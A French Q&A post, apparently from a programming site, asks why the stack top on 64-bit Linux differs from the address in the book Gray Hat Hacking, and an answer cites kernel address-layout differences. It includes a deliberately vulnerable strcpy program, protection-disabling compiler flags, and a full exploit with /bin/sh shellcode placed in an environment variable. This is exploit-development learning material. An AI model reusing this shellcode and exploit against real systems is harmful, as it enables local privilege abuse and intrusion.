Recherche du début de la pile pour un dépassement de tampon

Question

Selon le livre, Gray Hat Hacking, "tous les fichiers ELF Linux sont mappés en mémoire avec la dernière adresse relative 0xbfffffff". En soustrayant 4 octets NULL, la longueur du nom de fichier et la longueur du shellcode de cette adresse, il devrait être possible de définir l'adresse de retour dans le tampon exploité à celle de la variable d'environnement.

Cependant, en essayant cela, il me semble que dans mon environnement de test Linux 64 bits (ASLR désactivé) que la pile ne démarre pas à 0xbffffff, mais à 0xffffdfff.

Pourquoi ma pile commence-t-elle à une adresse différente de celle du livre? Ce n'est pas à propos de l'ALSR, car l'adresse ne change pas à chaque fois, mais je veux savoir pourquoi mes adresses commencent à 0xffffdfff au lieu de l'adresse du livre. Des idées?

Voici le tampon vulnérable:

#include <string.h> 
#include <stdio.h> 
#include <stdlib.h> 
void main(int argc, char *argv[]) { 
    char buffer[10]; 
    printf("Vulnerable program has loaded..."); 
    fflush(stdout); 
    strcpy(buffer, argv[1]); 
} 

Options du compilateur:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c 

Et voici le code d'exploitation:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80 
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
     *pointer++ = address; 
    } 
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
} 

J'ai essayé de trouver l'adresse du premier variable d'environnement dans le programme vulnérable avec GDB, mais sans succès:

(gdb) x/s *environ 
*lines removed for clarity* 
0xffffdfb5: "DISPLAY=:1" 
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small" 
(gdb) 
0xffffdff8: "" 
(gdb) 
0xffffdff9: "" 
(gdb) 
0xffffdffa: "" 
(gdb) 
0xffffdffb: "" 
(gdb) 
0xffffdffc: "" 
(gdb) 
0xffffdffd: "" 
(gdb) 
0xffffdffe: "" 
(gdb) 
0xffffdfff: "" 
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000> 

Quelqu'un peut-il expliquer ce que j'ai manqué ici?

Answer 1

L'explication est plutôt simple: l'ordre des segments et la disposition des adresses seront certainement différents si vous comparez un noyau 32 bits par rapport à un noyau 64 bits. La version du livre ciblait probablement les binaires ELF 32 bits sur le noyau 32 bits ou peut-être une version plus ancienne du noyau. Même si vous exécutez un binaire 32 bits, vous devez toujours attendre des résultats différents. Vous ne devez pas supposer que la disposition de l'espace d'adressage serait identique entre les différentes versions du noyau.

Il y a une bonne quantité de ressources en ligne pour découvrir plus de détails sur la question, par exemple, un article très obsolète sur le noyau 2.0: http://asm.sourceforge.net/articles/startup.html

Vous devriez aussi explorer plus sur l'adresse programme des différences de mise en page de l'espace entre 32 bits et Binaires 64 bits sur Linux.